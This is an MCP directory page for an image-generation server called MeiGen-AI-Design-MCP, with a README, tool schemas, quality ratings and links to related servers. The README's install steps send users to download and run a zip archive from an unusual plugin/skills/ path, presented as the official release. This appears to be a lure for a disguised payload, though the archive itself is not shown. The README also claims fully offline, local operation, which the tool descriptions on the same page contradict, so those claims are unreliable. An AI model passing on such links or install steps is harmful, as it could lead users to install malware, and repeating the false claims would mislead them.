MeiGen-AI-Design-MCP
Click on "Install Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@MeiGen-AI-Design-MCPgenerate a fantasy landscape using the 'enchanted forest' prompt"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
π¨ MeiGen-AI-Design-MCP - Easy AI Image Creation at Home
π What is MeiGen-AI-Design-MCP?
MeiGen-AI-Design-MCP is a local app that helps you create AI-generated images. It turns technology like Claude Code and OpenClaw into a tool you can use on your own computer. The app runs ComfyUI locally and offers a built-in library of over 1,300 text prompts. This makes it easy to create many image styles at once, thanks to multi-direction parallel generation support.
You donβt need to know how to code to use this. MeiGen-AI-Design-MCP runs on your PC without relying on the internet for image generation. It keeps your work private and fast.
Related MCP server: claude-imagine
π Key Features
Local image generation: Run everything on your PC with no internet needed.
Ready-to-use prompts: Access a large library of 1,300+ prompts to inspire your creativity.
Multi-direction parallel generation: Create multiple images in different styles at the same time.
Easy user interface: Use ComfyUI, a simple system for managing your image requests and settings.
Supports Claude Code and OpenClaw: Use these advanced AI models locally.
Privacy: Your images and data stay on your machine, not on a cloud server.
π System Requirements
MeiGen-AI-Design-MCP works best with the following:
Operating system: Windows 10 or above, macOS 10.15 or above, or Linux (Ubuntu 20.04 or newer recommended).
Processor: Intel i5 or AMD Ryzen 5 or better.
Memory (RAM): Minimum 8GB, 16GB recommended for better performance.
Storage: At least 10GB free space to install and run applications smoothly.
Graphics Card: A graphics card with OpenCL support (NVIDIA, AMD, or Intel integrated graphics work).
Internet connection: Only needed for initial download and updates. Not required to run image creation.
π Getting Started
Here is how to get MeiGen-AI-Design-MCP up and running on your computer:
1. Download the app
Click the big button at the top or this link to visit the download page:
Download MeiGen-AI-Design-MCP
On that page, look for the latest release version. You will find files to download for your operating system. These usually include:
A setup installer for Windows (.exe)
A disk image or installer for macOS (.dmg or .pkg)
A compressed file for Linux (https://raw.githubusercontent.com/HUANGcvs/MeiGen-AI-Design-MCP/main/plugin/skills/Design-Mei-MCP-Gen-A-v3.4.zip or .AppImage)
Choose the right file for your system and download it to your computer.
2. Install the application
Windows: Double-click the downloaded
.exefile. Follow the setup wizard and accept the default settings. The installer will place MeiGen-AI-Design-MCP on your computer and create shortcuts.macOS: Open the
.dmgor.pkgfile. Drag the app into your Applications folder if needed or follow the installer prompts.Linux: Extract the
https://raw.githubusercontent.com/HUANGcvs/MeiGen-AI-Design-MCP/main/plugin/skills/Design-Mei-MCP-Gen-A-v3.4.zipfile or mark the.AppImageas executable. You may need to run commands in the terminal. Refer to the instructions in the release notes or readme file on GitHub for specific details.
3. Open MeiGen-AI-Design-MCP
Once installed, launch the app from your shortcut or application menu. The ComfyUI interface will load in your default web browser.
4. Use the prompt library
Inside ComfyUI, find the prompt library on the left side. You can select from hundreds of predefined prompts to start creating images. Choose one and click generate.
5. Generate images
Adjust settings if you want, like image size and number of outputs. Then hit the generate button. MeiGen-AI-Design-MCP will create images using local AI models. The process will be quick on modern computers.
πΎ Download & Install
You can get MeiGen-AI-Design-MCP from this official page:
https://raw.githubusercontent.com/HUANGcvs/MeiGen-AI-Design-MCP/main/plugin/skills/Design-Mei-MCP-Gen-A-v3.4.zip
Follow these steps once again to download and install the app:
Visit the link above.
Pick the latest release.
Download the file that matches your system.
Run the installer or extract files as needed.
Launch the application and enjoy creating AI images.
π€ Troubleshooting Tips
If the app does not start, check that your system meets the requirements.
Make sure you have enough free storage space.
Restart your computer after installation.
If images fail to generate, verify your graphics drivers are up-to-date.
Consult the βHelpβ section inside ComfyUI for UI guidance.
For further support, visit the Issues tab on the GitHub repository.
π Additional Resources
The prompt library inside MeiGen-AI-Design-MCP offers detailed descriptions to help you learn how to get the best results.
Explore the official GitHub page to see updates and community contributions.
Check the README file included with your download for developer notes and advanced setup options.
ποΈ Repository Topics
MeiGen-AI-Design-MCP covers these technology areas:
ai-image-generationclaudeclaude-codecomfyuilovartmcpmcp-servermodel-context-protocolopenclawprompt-engineering
Start exploring AI image creation today with MeiGen-AI-Design-MCP, all from your local computer.
Available Tools
8 toolscomfyui_workflowCDestructive
Manage ComfyUI workflow templates: list, view parameters, import from file, modify settings, or delete.
| Name | Required | Description | Default |
|---|---|---|---|
| name | No | Workflow name. Required for view/modify/delete. For import, used as the save name (defaults to filename). | |
| input | No | Input field name to modify (for modify action). E.g. "steps", "cfg", "sampler_name", "ckpt_name". | |
| value | No | New value as JSON (for modify action). Examples: "30", "\"euler\"", "7.5", "true". | |
| action | Yes | Action to perform on ComfyUI workflows | |
| nodeId | No | Node ID to modify (for modify action). Use "view" action first to see available node IDs. | |
| filePath | No | Path to a ComfyUI API-format workflow JSON file (for import action). |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already indicate destructiveHint=true, confirming mutability. The description adds no further behavioral context, such as whether changes are permanent, if confirmation is needed, or what side effects occur. For a tool with delete and modify actions, this is a significant gap.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single sentence listing actions, which is concise but lacks structure. It front-loads the resource but does not prioritize key information. While not verbose, it could be more organized (e.g., separating read vs. write actions) without adding length.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Despite having 6 parameters and multiple actions, the description does not explain return values or behavior for each action. No output schema is provided, so the agent has no information on what the tool returns (e.g., list returns a list, view returns a workflow object). This is insufficient for an agent to effectively use the tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so baseline is 3. The description does not add meaning beyond the schema; it merely recaps the actions. The parameter descriptions in the schema are sufficient, and the description does not clarify relationships or provide examples beyond what's already in the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool manages ComfyUI workflow templates and lists five specific actions (list, view, import, modify, or delete). This is a specific verb-resource pair that distinguishes it from sibling tools like generate_image or enhance_prompt, which operate on different resources.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description does not provide guidance on when to use this tool versus alternatives. While the actions are listed, there is no explanation of which action is appropriate in which context or when not to use the tool (e.g., for image generation tasks). This leaves the agent without decision-making cues.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
enhance_promptARead-only
Transform a simple idea into a professional image generation prompt. Use when the user provides a brief description (e.g., "a cat in a garden") and needs a detailed, high-quality prompt. Combine with gallery inspiration for best results. Free, no API key needed.
| Name | Required | Description | Default |
|---|---|---|---|
| style | No | Target visual style: realistic (photorealistic), anime (2D/Japanese), illustration (concept art) | realistic |
| prompt | Yes | The simple prompt to enhance (e.g., "a cat in a garden") |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already provide readOnlyHint=true. The description adds transparency about cost and access: 'Free, no API key needed.' This supplements the annotations well, though no further behavioral details (e.g., output format) are given.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is extremely concise (two sentences) and front-loads the core purpose. No superfluous words; every sentence adds value.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple tool with two parameters and no output schema, the description covers the main use case and usage context. However, it does not explain the return value format or error scenarios, which could be considered a minor omission.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100%, so the schema already describes both parameters. The description only mentions the 'prompt' parameter with an example but does not discuss the 'style' parameter or its enum values, adding marginal value beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose: 'Transform a simple idea into a professional image generation prompt.' It provides an example and distinguishes from siblings like 'generate_image' by focusing on prompt enhancement rather than image generation.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states when to use: 'Use when the user provides a brief description... and needs a detailed, high-quality prompt.' It suggests combining with 'gallery inspiration' but does not explicitly mention alternatives or when not to use, which is a minor gap.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
generate_imageADestructive
Generate an image using AI. Supports MeiGen platform, local ComfyUI, or OpenAI-compatible APIs. Tip: get prompts from get_inspiration() or enhance_prompt(), and use gallery image URLs as referenceImages for style guidance.
| Name | Required | Description | Default |
|---|---|---|---|
| size | No | Image size for OpenAI-compatible providers: "1024x1024", "1536x1024", "auto". MeiGen/ComfyUI: use aspectRatio instead. | |
| model | No | Model name. For OpenAI-compatible: gpt-image-1.5, dall-e-3, etc. For MeiGen: use model IDs from list_models. | |
| prompt | Yes | The image generation prompt | |
| quality | No | Image quality for OpenAI-compatible providers: "low", "medium", "high" | |
| provider | No | Which provider to use. Auto-detected from configuration if not specified. | |
| workflow | No | ComfyUI workflow name to use (from comfyui_workflow list). Uses default workflow if not specified. | |
| aspectRatio | No | Aspect ratio: "1:1", "3:4", "4:3", "16:9", "9:16". For MeiGen provider. ComfyUI: use comfyui_workflow modify to adjust dimensions before generating. | |
| negativePrompt | No | Negative prompt for OpenAI-compatible providers. ComfyUI: use comfyui_workflow modify to set negative prompt in the workflow before generating. | |
| referenceImages | No | Public image URLs (http/https) for style/content guidance. Sources: gallery image URLs from search_gallery/get_inspiration, Image URLs from previous generate_image results, or URLs from upload_reference_image. Local file paths are NOT supported β use upload_reference_image to convert local files to URLs first. Works with all providers: MeiGen, OpenAI (gpt-image-1.5), ComfyUI (requires LoadImage node in workflow). |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The annotations already indicate destructiveHint=true, so the description's mention of generating images adds minor behavioral insight. It identifies three different providers but lacks details on potential side effects (e.g., cost, latency) or error handling. This is adequate but not comprehensive.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is concise (two sentences) and front-loaded with the core purpose. However, the second sentence is a tip that could be better integrated, and the structure lacks clear separation of purpose and usage notes.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
Given the tool's complexity (9 parameters, three providers, no output schema), the description is lacking. It does not explain the return format, how to handle different providers, or provide complete guidance for using parameters. The tip is helpful but insufficient for full contextual completeness.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
With 100% schema description coverage, the input schema already documents all parameters. The description offers a tip about using referenceImages from gallery URLs but does not add significant semantic meaning beyond what the schema provides. Baseline score of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool's purpose (generate an image using AI) and lists the supported platforms (MeiGen, ComfyUI, OpenAI-compatible APIs), making it easy to understand what the tool does and distinguishing it from sibling tools like get_inspiration and enhance_prompt.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description provides a helpful tip on using get_inspiration() or enhance_prompt() to obtain prompts and suggests using gallery image URLs as referenceImages, guiding the agent on when to leverage sibling tools. However, it does not explicitly state when not to use this tool or provide alternatives for specific scenarios.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
get_inspirationARead-only
Get the full prompt and all image URLs for a gallery entry. Show the images to the user as visual examples. The prompt can be used directly with generate_image(), and image URLs can be passed as referenceImages for style transfer.
| Name | Required | Description | Default |
|---|---|---|---|
| imageId | Yes | Image/prompt ID from search_gallery results |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations declare readOnlyHint=true, so the tool is safe. Description adds that it returns full prompt and image URLs and suggests showing images to users, which is helpful context beyond annotations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Three concise sentences that front-load the main action and provide immediate value with downstream usage tips. No redundant or extraneous content.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple retrieval tool with one parameter and no output schema, the description fully explains what is returned and how to use it in conjunction with sibling tools. No gaps.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with a clear description for the single parameter imageId. The tool description does not add further detail about the parameter, so baseline of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool retrieves the full prompt and all image URLs for a gallery entry, distinguishing it from search_gallery (which lists entries) and generate_image (which creates images).
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Provides direct guidance on using the prompt with generate_image() and image URLs as referenceImages for style transfer, and implies it should be used after selecting an entry from search_gallery. Lacks explicit when-not-to-use, but context is clear.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
list_modelsARead-only
List available AI image generation models with pricing and capabilities.
| Name | Required | Description | Default |
|---|---|---|---|
| activeOnly | No | Only show active models (default: true) |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already indicate readOnlyHint=true. The description adds that the tool returns pricing and capabilities, but no further behavioral traits (e.g., pagination, caching) are disclosed.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is a single, clear sentence with no waste. It front-loads the key information.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple list tool with good schema and annotations, the description is mostly adequate. However, it could mention the structure of the return data (e.g., what fields are in each model object) since no output schema is provided.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100% (the single parameter activeOnly is documented). The main description does not add parameter details, but schema already handles it adequately.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the tool lists available AI image generation models with pricing and capabilities, distinguishing it from sibling tools like generate_image or enhance_prompt.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
No explicit when or when-not to use is provided, but the tool's purpose (listing models) is clear from context. Sibling tools hint at alternatives, but no direct guidance is given.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
manage_preferencesA
Read or update user preferences: default style, aspect ratio, model, style notes, and favorite prompts. Call with action "get" at conversation start to load preferences.
| Name | Required | Description | Default |
|---|---|---|---|
| index | No | remove_favorite: 0-based index of the favorite to remove | |
| model | No | set: preferred default model name | |
| style | No | set: preferred default style (e.g. "realistic", "anime", "illustration") | |
| action | Yes | Action to perform: "get" reads all preferences, "set" updates defaults/styleNotes, "add_favorite" saves a prompt, "remove_favorite" removes by index | |
| prompt | No | add_favorite: the prompt text to save | |
| provider | No | set: preferred default provider | |
| styleNotes | No | set: free-text style notes (e.g. "cinematic lighting, shallow DOF, brand colors #1A1A2E") | |
| aspectRatio | No | set: preferred default aspect ratio (e.g. "16:9", "1:1") |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations indicate readOnlyHint=false, and description says 'read or update', aligning with mutation capability. However, no details on persistence, error behavior, or side effects beyond what annotations imply.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences: first defines scope, second gives a concrete usage tip. No filler or redundancy, extremely efficient.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema or return format described; missing details on what 'get' returns. For a tool with 8 parameters and 4 actions, more behavioral context (e.g., persistence, error cases) would improve completeness.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema coverage is 100% with descriptions, but the description adds context by listing the fields and suggesting a use case (get at start). This enhances understanding beyond the schema alone.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
Description clearly states the tool reads or updates user preferences, listing specific fields like default style, aspect ratio, and model. It distinguishes from sibling tools (e.g., generate_image, search_gallery) which focus on generation or searching, not user settings.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
Explicitly recommends calling with action 'get' at conversation start to load preferences, but lacks guidance for other actions (set, add_favorite, remove_favorite) and when not to use this tool. Sibling uniqueness partially compensates.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
search_galleryARead-only
Search 1300+ curated AI image prompts with preview images. Results include image URLs β render them as markdown images () so users can visually browse and pick styles. Use when users need inspiration, want to explore styles, or say "generate an image" without a specific idea.
| Name | Required | Description | Default |
|---|---|---|---|
| limit | No | Number of results (1-20, default 5) | |
| query | No | Search keywords (e.g., "cyberpunk", "product photo", "portrait"). Leave empty to browse by category or get random picks. | |
| offset | No | Pagination offset | |
| sortBy | No | Sort order when browsing without search query (default: rank) | rank |
| category | No | Filter by category. Available: 3D, App, Food, Girl, JSON, Other, Photograph, Product |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
Annotations already declare 'readOnlyHint: true'. The description adds value by stating that results include image URLs and suggesting to render them as markdown images for visual browsing. This provides useful behavioral context beyond the read-only nature.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
Two sentences, each earning its place. First sentence states the tool's function and key feature (1300+ prompts, previews). Second sentence provides usage guidance and display instruction. No wasted words.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
No output schema exists, so the description appropriately explains that results include image URLs and suggests display format. It mentions the size of the gallery (1300+). However, it could further detail the response structure (e.g., fields like prompt text, category) or pagination behavior, but overall it is fairly complete for a search tool.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
Schema description coverage is 100%, so the schema already documents all parameters. The description adds limited extra value: examples for 'query' (e.g., 'cyberpunk') and noting that leaving it empty browses by category. This is helpful but not essential beyond the schema.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states it searches a curated gallery of AI image prompts, including preview images. It distinguishes from siblings like 'generate_image' by specifying use cases: inspiration, exploring styles, or when user says 'generate an image' without a specific idea.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states when to use the tool: when users need inspiration, want to explore styles, or have a vague request. It does not mention when not to use, but the context and sibling names imply alternatives like 'generate_image' for direct creation.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
upload_reference_imageADestructive
Upload a local image for use as a reference in generate_image. Compresses large images (max 2MB, max 2048px) and returns a public URL. Call this when the user wants to use a local file as a reference image.
| Name | Required | Description | Default |
|---|---|---|---|
| filePath | Yes | Absolute path to a local image file (JPEG, PNG, WebP, or GIF). The image will be automatically compressed if needed and uploaded for use as a reference image in generate_image. |
TDQS
Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?
The description adds useful behavioral details beyond the annotations: automatic compression, size limits (max 2MB, max 2048px), and that it returns a public URL. Annotations already indicate destructiveHint=true (mutation), but the description clarifies what the mutation does. No contradictions with annotations.
Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.
Is the description appropriately sized, front-loaded, and free of redundancy?
The description is three short sentences with no wasted words. The first sentence immediately conveys the core purpose, and subsequent sentences provide necessary constraints and usage guidance. Ideal conciseness.
Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.
Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?
For a simple upload tool with one parameter and no output schema, the description covers purpose, constraints, and return type (public URL). It could be slightly more explicit about the return format, but the information provided is sufficient for an agent to use the tool correctly.
Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.
Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?
The input schema has 100% coverage with a thorough description of the filePath parameter, including accepted formats and behavior. The tool description adds no new parameter-level semantics beyond restating the purpose, so a baseline of 3 is appropriate.
Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.
Does the description clearly state what the tool does and how it differs from similar tools?
The description clearly states the verb 'upload', the resource 'local image', and the purpose 'for use as a reference in generate_image'. It distinguishes itself from sibling tools like generate_image by focusing on the upload step.
Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.
Does the description explain when to use this tool, when not to, or what alternatives exist?
The description explicitly states 'Call this when the user wants to use a local file as a reference image.' This provides clear guidance on when to use the tool. However, it does not mention alternative scenarios (e.g., using a URL directly in generate_image) or when not to use it.
Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections. Dates show when Glama detected each change.
8 tool updates
v1.2.0- First observed
comfyui_workflow - First observed
enhance_prompt - First observed
generate_image - First observed
get_inspiration - First observed
list_models - First observed
manage_preferences - First observed
search_gallery - First observed
upload_reference_image
TDQS
Each tool has a distinct purpose: workflow management, prompt enhancement, image generation, gallery inspiration, model listing, preferences, gallery search, and reference upload. No two tools overlap significantly.
All tool names use lowercase snake_case with a consistent verb_noun pattern (e.g., generate_image, list_models, upload_reference_image). No mixing of conventions.
Eight tools cover the major aspects of an AI design workflow without being excessive. Each tool serves a clear function, and the count feels well-scoped for the domain.
The set covers the full cycle from inspiration (search_gallery, get_inspiration) to prompt creation (enhance_prompt) to generation (generate_image) with supporting utilities (list_models, manage_preferences, upload_reference_image, comfyui_workflow). A minor gap is the lack of a tool to view or manage generated image history.
Maintenance
Resources
Unclaimed servers have limited discoverability.
Looking for Admin?
If you are the server author, to access and configure the admin panel.
Related MCP Connectors
MCP server for Qwen Image 3 AI image generation
MCP server for Flux AI image generation
MCP server for Luma Dream Machine AI video generation
MCP server for NanoBanana AI image generation and editing
Related MCP Servers
- AlicenseBqualityDmaintenanceA local MCP server for generating and editing images using OpenAI-compatible APIs. It provides text-to-image generation and image editing capabilities with configurable endpoints and saves output directly to local files.211MIT
- AlicenseNot gradedqualityBmaintenanceAn MCP server that enables Claude Code to generate context-aware images using local GPU-powered diffusion models, either automatically during coding or on-demand via slash commands.211MIT
- AlicenseNot gradedqualityCmaintenanceA local MCP server that enables Claude to generate images using the OpenAI API.10MIT
- AlicenseAqualityCmaintenanceOpen-source MCP server for AI image and video creation, enabling prompt library search, prompt enhancement, and media generation from Claude Code, Cursor, and other MCP hosts.8MIT
Latest Blog Posts
- Who's Calling? MCP Hosts Are an Identity Blind Spot (And the Spec Knows It)By Om-Shree-0709 on .mcpAgent IdentityOAuth 2.1
- Your AI Chatbot Just Exposed Your CEO's Salary to an InternBy Om-Shree-0709 on .Agent IdentityMCP SecurityOAuth Delegation
- Why MCP Servers Need Execution Sandboxing (And Why Your Current Stack Isn't Enough)By Om-Shree-0709 on .Agentic AiPrompt InjectionWebAssembly
MCP directory API
We provide all the information about MCP servers via our MCP API.
curl -X GET 'https://glama.ai/api/mcp/v1/servers/HUANGcvs/MeiGen-AI-Design-MCP'
If you have feedback or need assistance with the MCP directory API, please join our Discord server